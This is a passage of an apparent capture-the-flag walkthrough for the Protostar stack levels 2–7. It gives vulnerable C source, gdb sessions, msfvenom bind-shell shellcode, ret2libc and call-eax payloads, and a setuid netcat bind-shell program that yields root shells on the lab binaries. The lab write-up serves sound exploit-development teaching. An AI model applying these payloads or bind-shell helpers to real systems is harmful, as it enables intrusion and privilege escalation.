    printf("you have correctly modified the variable\n");
  } else {
    printf("Try again, you got 0x%08x\n", modified);
  }

}

Solution:

[email protected]:~$ export GREENIE=`python -c 'print("A"*64 + "\x0a\x0d\x0a\x0d")'`  
[email protected]:~$ /opt/protostar/bin/stack2  
you have correctly modified the variable  

Stack3

Stack3 gives us the following code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()  
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)  
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
    printf("calling function pointer, jumping to 0x%08x\n", fp);
    fp();
  }
}

This time its different, we need to call the win() function, so we need to overwrite fp with the win() address. We will get the address using gdb and then set up the explot to overwrite modified with win() address:

[email protected]:~$ gdb -q /opt/protostar/bin/stack3  
Reading symbols from /opt/protostar/bin/stack3...done.  
(gdb) print win
$1 = {void (void)} 0x8048424 <win>
(gdb) quit
[email protected]:~$ echo `python -c 'print("A"*64 + "\x24\x84\x04\x08")'` > stack3  
[email protected]:~$ /opt/protostar/bin/stack3 < stack3  
calling function pointer, jumping to 0x08048424  
code flow successfully changed  

Stack4

Stack4 gives us the following code to exploit:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()  
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)  
{
  char buffer[64];

  gets(buffer);
}

We need to overwrite EIP with win() address which is: 0x80483f4

[email protected]:~$ gdb -q /opt/protostar/bin/stack4  
Reading symbols from /opt/protostar/bin/stack4...done.  
(gdb) print win
$1 = {void (void)} 0x80483f4 <win>

So in theory, we need a payload of 64 bytes and then 4 to overwrite EBP and 4 more to overwrite EIP, but if we run the following line, no segmentation fault is thrown:

[email protected]:~$ echo `python -c 'print("A"*64 + "AAAA" + "BBBB")'` | /opt/protostar/bin/stack4  

That is because the compiler will do his crazy stuff and align buffers in unexpected ways so EIP can be further than we think, so we will be using metasploit framework to find the right offset:

[email protected] /u/l/s/m/tools> ./pattern_create.rb 100  
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A  
[email protected]:~$ echo "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A" > stack4  
[email protected]:~$  
[email protected]:~$  
[email protected]:~$ gdb -q /opt/protostar/bin/stack4Reading symbols from /opt/protostar/bin/stack4...done.  
(gdb) run < stack4
Starting program: /opt/protostar/bin/stack4 < stack4

Program received signal SIGSEGV, Segmentation fault.  
0x63413563 in ?? ()  

Offset is 0x63413563 that corresponds to:

[email protected] /u/l/s/m/tools> ./pattern_offset.rb 0x63415663  
76  

So our payload should be shifted 76 bytes from the start of the buffer.

[email protected]:~$ echo `python -c 'print("A"*76 + "\xf4\x83\x04\x08")'` | /opt/protostar/bin/stack4  
code flow successfully changed  
Segmentation fault  

Stack5

Stack5 gives us the following code to exploit:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)  
{
  char buffer[64];

  gets(buffer);
}

So its basically the same program than stack4 but this time they ask us to use a shellcode. Im not a shellcode writer so I will be using msf to generate a valid shellcode for this architecture:

[email protected] /u/l/s/metasploit-framework> ./msfvenom -p linux/x86/shell_bind_tcp -b '\x0d\x0a\x00\xff' -f pl  
[*] x86/shikata_ga_nai succeeded with size 105 (iteration=1)
my $buf =  
"\xbd\x9b\x77\x1c\xf3\xdd\xc0\xd9\x74\x24\xf4\x5b\x29\xc9" .  
"\xb1\x14\x31\x6b\x14\x83\xeb\xfc\x03\x6b\x10\x79\x82\x2d" .  
"\x28\x8a\x8e\x1d\x8d\x27\x3b\xa0\x98\x26\x0b\xc2\x57\x28" .  
"\x37\x55\x3a\x40\xca\x69\xab\xcc\xa0\x79\x9a\xbc\xbd\x9b" .  
"\x76\x5a\xe6\x96\x07\x2b\x57\x2d\xbb\x2f\xe8\x4b\x76\xaf" .  
"\x4b\x24\xee\x62\xcb\xd7\xb6\x16\xf3\x8f\x85\x66\x42\x49" .  
"\xee\x0e\x7a\x86\x7d\xa6\xec\xf7\xe3\x5f\x83\x8e\x07\xcf" .  
"\x08\x18\x26\x5f\xa5\xd7\x29";  

We will be using a large payload that is bigger than our buffer so we have toplace it in a different location like a environment variable. We can also check how many bytes we can overwrite after passing EIP

[email protected]:~$ echo `python -c 'print("A"*76 + "B"*4 + "C"*120)'` > stack5  
[email protected]:~$ gdb -q /opt/protostar/bin/stack5Reading symbols from /opt/protostar/bin/stack5...done.  
(gdb) run < stack5
Starting program: /opt/protostar/bin/stack5 < stack5

Program received signal SIGSEGV, Segmentation fault.  
0x42424242 in ?? ()  
(gdb) x/10s $esp
0xbffff7c0:     'C' <repeats 120 times>  
0xbffff839:     ""  
0xbffff83a:     ""  
0xbffff83b:     ""  
0xbffff83c:     "1\203\004\b\304\203\004\b\001"  
0xbffff846:     ""  
0xbffff847:     ""  
0xbffff848:     "d\370\377\277\360\203\004\b\340\203\004\b@\020\377\267\\\370\377\277\370\370\377\267\001"  
0xbffff862:     ""  
0xbffff863:     ""  
(gdb)

Nice! Our 120 "C"s are there (we put some more of the 105 bytes required to allocate a NOP sled)

Ok, so lets craft the payload:

[email protected]:~$ echo `python -c 'print("A"*76 + "\xc0\xf7\xff\xbf" + "\x90"*16 + "\xbd\x9b\x77\x1c\xf3\xdd\xc0\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x14\x31\x6b\x14\x83\xeb\xfc\x03\x6b\x10\x79\x82\x2d\x28\x8a\x8e\x1d\x8d\x27\x3b\xa0\x98\x26\x0b\xc2\x57\x28\x37\x55\x3a\x40\xca\x69\xab\xcc\xa0\x79\x9a\xbc\xbd\x9b\x76\x5a\xe6\x96\x07\x2b\x57\x2d\xbb\x2f\xe8\x4b\x76\xaf\x4b\x24\xee\x62\xcb\xd7\xb6\x16\xf3\x8f\x85\x66\x42\x49\xee\x0e\x7a\x86\x7d\xa6\xec\xf7\xe3\x5f\x83\x8e\x07\xcf\x08\x18\x26\x5f\xa5\xd7\x29")'` | /opt/protostar/bin/stack5  

Now from a different terminal:

$ nc localhost 4444
id  
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)  

Stack6

Stack6 gives us the following code to exploit:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()  
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)  
{
  getpath();
}

The program is similar to stack5 but in this case we are not allowed to jump to stack addresses (0xbf000000) so we cannot place our payload there. Chances are:
- Place it on an enviroment variable - ret2libc - ROP - jmp esp - ...

First approach is to place the payload in an environment varaible, we will need to know the address of our varaible to jump there. We can use this program for that:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {  
    char *ptr;
    if(argc < 3) {
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr);
}

We will be using the same shellcode than in stack5:

[email protected]:~$ export SHELLCODE=\xbd\x9b\x77\x1c\xf3\xdd\xc0\xd9\x74\x24\xf4\x5b\x29\xc9\xb1\x14\x31\x6b\x14\x83\xeb\xfc\x03\x6b\x10\x79\x82\x2d\x28\x8a\x8e\x1d\x8d\x27\x3b\xa0\x98\x26\x0b\xc2\x57\x28\x37\x55\x3a\x40\xca\x69\xab\xcc\xa0\x79\x9a\xbc\xbd\x9b\x76\x5a\xe6\x96\x07\x2b\x57\x2d\xbb\x2f\xe8\x4b\x76\xaf\x4b\x24\xee\x62\xcb\xd7\xb6\x16\xf3\x8f\x85\x66\x42\x49\xee\x0e\x7a\x86\x7d\xa6\xec\xf7\xe3\x5f\x83\x8e\x07\xcf\x08\x18\x26\x5f\xa5\xd7\x29  
[email protected]:~$ gcc envaddr.c -o envaddr  
[email protected]:~$ chmod +x envaddr  
[email protected]:~$ ./envaddr SHELLCODE  
SHELLCODE is at address 0xbffff877  

Oh, damn it! its in the stack address space so it wont work. Lets try the retlibc approach. Here we have a number of options. We can execute system("/bin/bash") but as we are exploiting a suid binary, we will drop priviledges. The other options is to use execl(“/bin/bash”, “/bin/bash”, 0). The problem with this approach is that we cannot inject the "0" since gets() would consider it as the end of the user input. There is a technique to avoid this. We can use printf to write the \x00 for us in the right position using %n

If you are not familiar with ret2libc this is how it works. You overwrite the return address with a libc function so it gets executed. At the end of the libc function, there will be a ret instruction that will pop the next 4 bytes in the stack and transfer the exceution to the address popped. Its important to note that when the libc function starts its execution it will expect its arguments in the regular position, thats it, after the ret address. So we have to prepare the stack like:

--------------------------------------------------------------------------------------------------------------------
| buffer | overwritten EBP | libc function address | return address for libc function | arguments to libc function |
--------------------------------------------------------------------------------------------------------------------

We can concatenate different calls by replacing the "return address for libc function" with a second function address. In that case the arguments for that second function should be 4 bytes above the address of the second function.

Ok, enough theory, we will be using two concatenated calls. The first one will be prinntf and we will use it to write a 0 in the stack, the one we need for our second call to execl(“/bin/bash”, “/bin/bash”, 0)

So, the payload should look like this:

----------------------------------------------------------------------
| buffer | BBBB | &printf | &execl | &"%3$n" | &"nc" | &"nc" | CCCC |
----------------------------------------------------------------------

Where BBBB and CCCC will be random values. BBBB will overwrite EBP and CCCC will be overwritten by the printf("%3$n")

We need to place to strings in memory. we can use our buffer for that or simply put them in environment variables:

[email protected]:~$ export PRINTF="%3\$n"  
[email protected]:~$ export NC="bind.sh"  
[email protected]:~$ ./envaddr NC /opt/protostar/bin/stack6  
NC will be at 0xbffff9cf  
[email protected]:~$ ./envaddr PRINTF /opt/protostar/bin/stack6  
PRINTF will be at 0xbffff983  

I will be executing a nc daemon sending a shell and listening on port 4444:

[email protected]:~$ cat bind.sh  
nc -lvp 4444 -e /bin/bash  
[email protected]:~$ chmod +x bind.sh  
[email protected]:~$ export PATH=/home/user:$PATH  
[email protected]:~$ gdb -q /opt/protostar/bin/stack6  
Reading symbols from /opt/protostar/bin/stack6...done.  
(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.  
(gdb) run
Starting program: /opt/protostar/bin/stack6

Breakpoint 1, main (argc=1, argv=0xbffff6f4) at stack6/stack6.c:27

(gdb) print execl
$1 = {<text variable, no debug info>} 0xb7f2e460 <*__GI_execl>
(gdb) print printf
$2 = {<text variable, no debug info>} 0xb7eddf90 <__printf>

Ok, now we have all we need:

buffer: "A"*76
EBP: "BBBB"
&printf: \x90\xdf\xed\xb7 &execl: \x60\xe4\xf2\xb7 &"%3$n": \x60\xf8\xff\xbf &"nc": \xe4\xf9\xff\xbf

Unfortunately the exploit did not work and after adjunting the buffer address and env variables with detail, it still throws a segmentation fault during the execution of the execl system function. After debugging it with gdb it looks like all the variables are set ok on our buffer and all of them point to the right functions/strings. Stepping through the code we can see that the printf trick works and we are moved into the execl with the right parameters. However we get a segmentation fault that I cannot explain so I decided to take a different road to get a more stable exploit. This is the last payload I tried:

[email protected]:~$ echo `python -c 'print("A"*76 + "B"*4 + "\x90\xdf\xed\xb7" + "\x60\xe4\xf2\xb7" + "\x8f\xff\xff\xbf" + "\x75\xff\xff\xbf" + "\x75\xff\xff\xbf" + "\x90\xf7\xff\xbf")'` > stack6  

Ok, so whats the new road??? I will simple call system() to execute a binary that will restore the setuid priviledges. Our payload should look like this:

-------------------------------------------------------------
| buffer | BBBB | &system | &exit | &"/home/user/bindshell" |
-------------------------------------------------------------

We will use the following priviledges restore netcat daemon:

#include <stdlib.h>

int main(int argc, char **argv, char **envp) {  
    // These two are necessary, as system() drops privileges
    setuid(0);
    setgid(0);
    char *args[] = {  "nc", "-nvlp 4444", "-e/bin/sh", (char *) 0 };
    execve("/bin/nc", args, envp);
}

Ok, now lets go for system() and exit() addresses:

[email protected]:~$ gdb -q /opt/protostar/bin/stack6  
Reading symbols from /opt/protostar/bin/stack6...done.  
(gdb) b main
Breakpoint 1 at 0x8048500: file stack6/stack6.c, line 27.  
(gdb) run
Starting program: /opt/protostar/bin/stack6

Breakpoint 1, main (argc=1, argv=0xbffff804) at stack6/stack6.c:27  
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>

and lastly for our string address:

[email protected]:~$ export BINDSHELL=/////////////////////////////////////home/user/bindshell  
[email protected]:~$ ./envaddr BINDSHELL /opt/protostar/bin/stack6  
BINDSHELL will be at 0xbffff962  

Now, the exploit should look like:

[email protected]:~$ echo `python -c 'print("A"*76 + "B"*4 + "\xb0\xff\xec\xb7" + "\xc0\x60\xec\xb7" + "\x62\xf9\xff\xbf")'` | /opt/protostar/bin/stack6  
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAABBBB����`�b���  
listening on [any] 4444 ...  

Now from a different terminal:

[email protected]:~$ nc localhost 4444  
id  
uid=0(root) gid=0(root) groups=0(root),1001(user)  

Stack7

Stack7 gives us the following code to exploit:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()  
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)  
{
  getpath();
}

Code is very similar but this time we are asked to use ret2text. That basically means to reuse the hex bytes stored in .text as opcodes. We can search the .text section for useful gadgets like jmp esp that will allow us to ret to those opcodes and then jump back to esp successfully bypassing the program control (0xbf000000).

[email protected]:~$ objdump -M intel -d /opt/protostar/bin/stack7 | grep "call.*esp"  
[email protected]:~$ objdump -M intel -d /opt/protostar/bin/stack7 | grep "jmp.*esp"  

No luck :( We can also use ret or pop, ret to jump to the stack section above the overwritten EIP address. But if we look at the code we can see that the only difference from stack6 is that now the getpath() function returns strdup(buffer) that means that is going to duplicate whatever string it finds at &buffer and return the address for that new string. Functions normally return its output using the eax registry. So we can place our shellcode at buffer and then overwrite the ret address with the address of *call eax opcodes in .text. That way, we will jump to eax where our shellcode will be waiting for us. The only limitation is that our shellcode needs to be smaller than 80 bytes where we need to place the address to call eax:

[email protected]:~$ objdump -M intel -d /opt/protostar/bin/stack7 | grep "call.*eax"  
 8048478:    ff 14 85 5c 96 04 08    call   DWORD PTR [eax*4+0x804965c]
 80484bf:    ff d0                   call   eax
 80485eb:    ff d0                   call   eax

We will be using a shellcode that returns from stdin in gets() and executes /bin/sh
As the return address we will be using the cal eax at: 0x080484bf

[email protected]:~$ echo `python -c 'print("\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*25 + "\xbf\x84\x04\x08")'` | /opt/protostar/bin/stack7  
input path please: got path 1�1۰̀Sh/ttyh/dev��1�f�'�1�Ph//shh/bin��PS�ᙰ  
                                                                       ̀������������������������
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)  
#